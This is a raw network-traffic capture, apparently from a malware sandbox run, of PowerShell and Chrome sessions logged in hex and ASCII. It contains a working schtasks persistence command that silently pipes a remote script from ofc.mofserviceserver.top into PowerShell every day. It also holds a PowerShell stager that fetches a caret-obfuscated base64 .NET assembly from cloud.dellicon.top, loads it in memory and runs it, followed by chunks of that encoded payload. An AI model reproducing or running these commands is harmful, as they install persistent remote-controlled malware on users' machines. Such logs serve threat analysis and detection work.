68 65 6c 6c 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 69 72 6d 20 68 74 74 70 3a 2f 2f 6f 66 63 2e 6d 6f 66 73 65 72 76 69 63 65 73 65 72 76 65 72 2e 74 6f 70 2f 44 53 43 54 53 43 2f 7c 50 6f 77 65 72 73 68 65 6c 6c 22 20 2f 73 74 20 31 30 3a 31 33 20 2f 66 0d 0a 30 0d 0a 0d 0a Data Ascii: 9ccmd /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49714	172.67.149.9	80	7884	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:31.315795898 CEST	176	OUT	GET /DSCTSC/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ofc.mofserviceserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:31.779834986 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:31 GMT Location: https://ofc.mofserviceserver.top/DSCTSC/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1wDC77Ox%2FTg%2F9o9FMCOKhxOVNewnvJJ2bOs4w932sfwC7qQaYvltI7nbv4yD2N0NNCgKnwX%2FfJetZqgNkcAOwkdfVta%2BBIN8Pf2tyEAfLx9OZImSxL4ZHjqmRfFdpNonPHu21h0VmLhaWY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c21c3d2d7c90-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49719	188.114.97.3	80	8136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:35.969408035 CEST	172	OUT	GET /1000/500/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: cloud.dellicon.top Connection: Keep-Alive
Sep 30, 2024 18:58:36.444175005 CEST	847	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:36 GMT Location: https://cloud.dellicon.top/1000/500/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4GNjW0ec3ZtW9c5d9r6oTu3UrdvvY0gld0moODKczY8TtbIdYUfOIpcBz88l8MAj3pJqxx6A2f683uTyawp1M%2Ba3islAc6Rgs9Vfwf%2FkiWzY7slz%2BGmq4XiAK9CD4TQ6AgjB6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c2395a808c30-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49707	203.101.184.118	443	1928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:27 UTC	661	OUT	GET /site/404 HTTP/1.1 Host: pmo.gov.pk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 16:58:27 UTC	541	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 30 Sep 2024 16:38:20 GMT Server: Apache/2.4.6 (CentOS) PHP/7.4.14 Content-Length: 527 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: cookiesession1=678B28B3B2979C8EA40140B962781A42;Expires=Tue, 30 Sep 2025 16:58:27 GMT;Path=/;HttpOnly Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1 Content-Security-Policy: self Feature-Policy: self Referrer-Policy: no-referrer
2024-09-30 16:58:27 UTC	527	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	203.101.184.118	443	1928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:28 UTC	603	OUT	GET /favicon.ico HTTP/1.1 Host: pmo.gov.pk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiesession1=678B28B3B2979C8EA40140B962781A42
2024-09-30 16:58:28 UTC	426	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 30 Sep 2024 16:38:20 GMT Server: Apache/2.4.6 (CentOS) PHP/7.4.14 Content-Length: 527 Connection: close Content-Type: text/html; charset=iso-8859-1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1 Content-Security-Policy: self Feature-Policy: self Referrer-Policy: no-referrer
2024-09-30 16:58:28 UTC	527	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	172.67.149.9	443	7884	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:32 UTC	176	OUT	GET /DSCTSC/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ofc.mofserviceserver.top Connection: Keep-Alive
2024-09-30 16:58:33 UTC	843	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%209%3A58%20PM; expires=Tue, 30-Sep-2025 16:58:33 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:33 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=evCj1nuVdRclzmAbWoGd5cpIf8ULNMyJ8vaKL3bSC9cfXvAiGFnHouayMOOqiriePgjvTSYG0%2FptD1v9%2Fzz5qYbR4fOTOCtCKZDc392sC%2FQPIrBcXzHfEqfocK8P8nGgwJglvR5W8aHZq5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c2233e7e4369-EWR
2024-09-30 16:58:33 UTC	235	IN	Data Raw: 65 35 0d 0a 24 73 74 72 69 6e 67 20 3d 20 69 72 6d 20 20 28 27 68 74 74 70 3a 2f 2f 63 6c 6f 75 64 2e 64 65 6c 6c 69 63 6f 6e 2e 74 6f 70 2f 31 30 30 30 2f 35 30 30 2f 27 29 3b 20 24 62 79 74 65 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 73 74 72 69 6e 67 2e 52 65 70 6c 61 63 65 28 27 5e 27 2c 27 27 29 29 3b 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 62 79 74 65 65 73 29 3b 24 41 64 6f 62 65 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 44 53 43 2e 53 69 67 6e 3b 20 24 41 64 6f 62 65 2e 43 6f 6e 6e 65 63 74 28 27 55 70 64 61 74 65 4d 65 27 29 3b 0a 0d 0a Data Ascii: e5$string = irm ('http://cloud.dellicon.top/1000/500/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');
2024-09-30 16:58:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49718	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:36 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+RXM+ul9gZsDE19&MD=3r6m3nSv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 16:58:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7a83869a-5bfa-4239-9641-cf090d365b82 MS-RequestId: 2caaf45a-238d-4ec4-9b59-d167a252cbfc MS-CV: F2HfFXwDn06uXrn0.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 16:58:36 GMT Connection: close Content-Length: 24490
2024-09-30 16:58:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-30 16:58:36 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49721	188.114.97.3	443	8136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:36 UTC	172	OUT	GET /1000/500/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: cloud.dellicon.top Connection: Keep-Alive
2024-09-30 16:58:37 UTC	614	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8aIsvG54KIhpzRiPgpYMGpP5xyxcj5opLuSZXcaErPHuIuwqihRM2D0XpLIEInFVMjsO3%2F82sMgNuDD5ZYc0pF565NSE9DyFBw8sHdwXSpOdM2g94VLNfN1%2BU5Ns%2Bf1aTmnohiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c23d3c8d4241-EWR
2024-09-30 16:58:37 UTC	755	IN	Data Raw: 37 64 33 38 0d 0a 54 56 71 51 41 5e 41 4d 41 41 41 5e 41 45 41 41 41 5e 41 2f 2f 38 41 5e 41 4c 67 41 41 5e 41 41 41 41 41 5e 41 41 51 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 67 41 41 41 41 5e 41 34 66 75 67 5e 34 41 74 41 6e 5e 4e 49 62 67 42 5e 54 4d 30 68 56 5e 47 68 70 63 79 5e 42 77 63 6d 39 5e 6e 63 6d 46 74 5e 49 47 4e 68 62 5e 6d 35 76 64 43 5e 42 69 5a 53 42 5e 79 64 57 34 67 5e 61 57 34 67 52 5e 45 39 54 49 47 5e 31 76 5a 47 55 5e 75 44 51 30 4b 5e 4a 41 41 41 41 5e 41 41 41 41 41 5e 42 51 52 51 41 5e 41 54 41 45 44 5e 41 45 50 56 75 5e 57 59 41 41 41 5e 41 41 41 41 41 5e 41 41 4f 41 41 5e 44 69 45 4c 41 5e 54 41 41 Data Ascii: 7d38TVqQA^AMAAA^AEAAA^A//8A^ALgAA^AAAAA^AAQAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^gAAAA^A4fug^4AtAn^NIbgB^TM0hV^Ghpcy^Bwcm9^ncmFt^IGNhb^m5vdC^BiZSB^ydW4g^aW4gR^E9TIG^1vZGU^uDQ0K^JAAAA^AAAAA^BQRQA^ATAED^AEPVu^WYAAA^AAAAA^AAOAA^DiELA^TAA
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 5e 43 41 49 41 41 5e 41 43 41 41 41 5e 41 34 41 63 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 51 41 41 41 5e 51 67 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 77 2b 5e 41 63 41 41 41 5e 41 41 41 45 67 5e 41 41 41 41 43 5e 41 41 55 41 6c 5e 44 34 46 41 4a 5e 42 41 41 67 41 5e 42 41 41 41 41 5e 41 41 41 41 41 5e 43 52 2f 42 77 5e 41 75 64 67 41 5e 41 4f 76 63 48 5e 41 49 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 42 5e 4d 77 41 77 44 5e 77 41 41 41 41 5e 41 51 41 41 45 5e 53 73 46 4b 43 5e 4c 6f 43 32 63 5e 67 42 51 41 41 5e 41 50 34 4f 41 5e 41 41 34 41 41 5e 41 41 41 50 34 5e 4d 41 Data Ascii: ^CAIAA^ACAAA^A4AcA^AAAAA^AAAAA^AAAAA^AQAAA^QgAAA^AAAAA^AAAAA^AAAAA^AAAw+^AcAAA^AAAEg^AAAAC^AAUAl^D4FAJ^BAAgA^BAAAA^AAAAA^CR/Bw^AudgA^AOvcH^AIAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAB^MwAwD^wAAAA^AQAAE^SsFKC^LoC2c^gBQAA^AP4OA^AA4AA^AAAP4^MA
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 53 5a 2b 57 41 5e 49 41 42 43 6a 5e 30 42 77 41 47 5e 4b 42 49 41 41 5e 41 59 6c 4a 6e 5e 35 5a 41 67 41 5e 45 4b 50 67 48 5e 41 41 59 6c 4a 5e 69 43 69 41 41 5e 41 41 4b 42 45 5e 41 41 41 59 6c 5e 4a 69 43 6c 41 5e 41 41 41 4b 4b 5e 6b 42 41 41 59 5e 6c 4a 6e 35 61 5e 41 67 41 45 4b 5e 50 77 48 41 41 5e 61 41 42 77 41 5e 41 42 43 41 46 5e 41 41 41 41 66 5e 68 49 43 41 41 5e 52 37 53 41 49 5e 41 42 44 72 51 5e 2f 76 2f 2f 4a 5e 69 41 45 41 41 5e 41 41 4f 4d 58 5e 2b 2f 2f 38 6f 5e 44 41 41 41 42 5e 69 41 41 41 41 5e 41 41 66 68 49 5e 43 41 41 52 37 5e 37 51 45 41 42 5e 44 6d 73 2f 76 5e 2f 2f 4a 69 41 5e 42 41 41 41 41 5e 4f 4b 48 2b 2f 5e 2f 38 58 4b 42 5e 45 41 41 41 61 5e 41 41 77 41 41 5e 42 43 41 41 41 5e 41 41 41 66 68 5e 49 43 41 41 52 5e 37 42 77 Data Ascii: SZ+WA^IABCj^0BwAG^KBIAA^AYlJn^5ZAgA^EKPgH^AAYlJ^iCiAA^AAKBE^AAAYl^JiClA^AAAKK^kBAAY^lJn5a^AgAEK^PwHAA^aABwA^ABCAF^AAAAf^hICAA^R7SAI^ABDrQ^/v//J^iAEAA^AAOMX^+//8o^DAAAB^iAAAA^AAfhI^CAAR7^7QEAB^Dms/v^//JiA^BAAAA^OKH+/^/8XKB^EAAAa^AAwAA^BCAAA^AAAfh^ICAAR^7Bw
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 52 37 35 67 5e 45 41 42 44 72 5e 50 2f 2f 2f 2f 5e 4a 69 41 42 41 5e 41 41 41 4f 4d 5e 54 2f 2f 2f 38 5e 41 45 51 68 2b 5e 43 67 41 41 42 5e 48 35 64 41 67 5e 41 45 4b 41 67 5e 49 41 41 59 67 5e 41 41 41 41 41 5e 48 34 53 41 67 5e 41 45 65 77 77 5e 43 41 41 51 35 5e 44 77 41 41 41 5e 43 59 67 41 41 5e 41 41 41 44 67 5e 45 41 41 41 41 5e 2f 67 77 4c 41 5e 45 55 45 41 41 5e 41 41 42 51 41 5e 41 41 46 73 41 5e 41 41 43 54 41 5e 41 41 41 4e 51 5e 41 41 41 44 67 5e 41 41 41 41 41 5e 45 51 68 2b 43 5e 77 41 41 42 48 5e 35 65 41 67 41 5e 45 4b 41 77 49 5e 41 41 59 67 41 5e 51 41 41 41 48 5e 34 53 41 67 41 5e 45 65 79 6f 43 5e 41 41 51 35 77 5e 66 2f 2f 2f 79 5e 59 67 41 51 41 5e 41 41 44 69 32 5e 2f 2f 2f 2f 63 5e 78 4d 41 41 41 5e 6f 54 41 69 41 5e 43 41 41 41 Data Ascii: R75g^EABDr^P////^JiABA^AAAOM^T///8^AEQh+^CgAAB^H5dAg^AEKAg^IAAYg^AAAAA^H4SAg^AEeww^CAAQ5^DwAAA^CYgAA^AAADg^EAAAA^/gwLA^EUEAA^AABQA^AAFsA^AACTA^AAANQ^AAADg^AAAAA^EQh+C^wAABH^5eAgA^EKAwI^AAYgA^QAAAH^4SAgA^EeyoC^AAQ5w^f///y^YgAQA^AADi2^////c^xMAAA^oTAiA^CAAA
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 64 4d 51 5e 45 41 41 42 45 5e 43 4f 6c 30 41 5e 41 41 41 67 41 5e 51 41 41 41 48 5e 34 53 41 67 41 5e 45 65 79 6b 43 5e 41 41 51 36 44 5e 77 41 41 41 43 5e 59 67 41 41 41 5e 41 41 44 67 45 5e 41 41 41 41 2f 5e 67 77 46 41 45 5e 55 44 41 41 41 5e 41 4b 51 41 41 5e 41 41 55 41 41 5e 41 41 2f 41 41 5e 41 41 4f 43 51 5e 41 41 41 41 34 5e 4e 51 41 41 41 5e 43 41 41 41 41 5e 41 41 66 68 49 5e 43 41 41 52 37 5e 43 41 49 41 42 5e 44 6e 52 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 4d 62 2f 2f 5e 2f 38 52 41 6e 5e 35 6a 41 67 41 5e 45 4b 43 41 49 5e 41 41 59 67 41 5e 67 41 41 41 44 5e 69 77 2f 2f 2f 5e 2f 33 42 45 49 5e 4f 69 77 41 41 5e 41 41 67 41 77 5e 41 41 41 50 34 5e 4f 44 51 41 34 5e 41 41 41 41 41 5e 50 34 4d 44 51 5e 42 46 42 41 41 5e 41 41 47 67 41 Data Ascii: dMQ^EAABE^COl0A^AAAgA^QAAAH^4SAgA^EeykC^AAQ6D^wAAAC^YgAAA^AADgE^AAAA/^gwFAE^UDAAA^AKQAA^AAUAA^AA/AA^AAOCQ^AAAA4^NQAAA^CAAAA^AAfhI^CAAR7^CAIAB^DnR//^//JiA^AAAAA^OMb//^/8RAn^5jAgA^EKCAI^AAYgA^gAAAD^iw///^/3BEI^OiwAA^AAgAw^AAAP4^ODQA4^AAAAA^P4MDQ^BFBAA^AAGgA
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 41 41 5e 51 6f 4e 41 67 5e 41 42 69 55 6d 5e 45 77 30 67 41 5e 41 41 41 41 48 5e 34 53 41 67 41 5e 45 65 78 34 43 5e 41 41 51 36 44 5e 77 41 41 41 43 5e 59 67 41 41 41 5e 41 41 44 67 45 5e 41 41 41 41 2f 5e 67 77 4f 41 45 5e 55 42 41 41 41 5e 41 42 51 41 41 5e 41 44 67 41 41 5e 41 41 41 33 54 5e 2f 2b 2f 2f 38 5e 52 42 44 71 66 5e 41 41 41 41 49 5e 41 41 41 41 41 5e 42 2b 45 67 49 5e 41 42 48 76 75 5e 41 51 41 45 4f 5e 67 38 41 41 41 5e 41 6d 49 41 41 5e 41 41 41 41 34 5e 42 41 41 41 41 5e 50 34 4d 43 41 5e 42 46 42 67 41 5e 41 41 46 41 41 5e 41 41 42 7a 41 5e 41 41 41 42 51 5e 41 41 41 46 38 5e 41 41 41 41 6c 5e 41 41 41 41 46 5e 51 41 41 41 44 5e 68 4c 41 41 41 5e 41 30 42 6f 41 5e 41 41 59 6d 49 5e 41 51 41 41 41 5e 41 34 7a 76 2f 5e 2f 2f 78 63 36 5e Data Ascii: 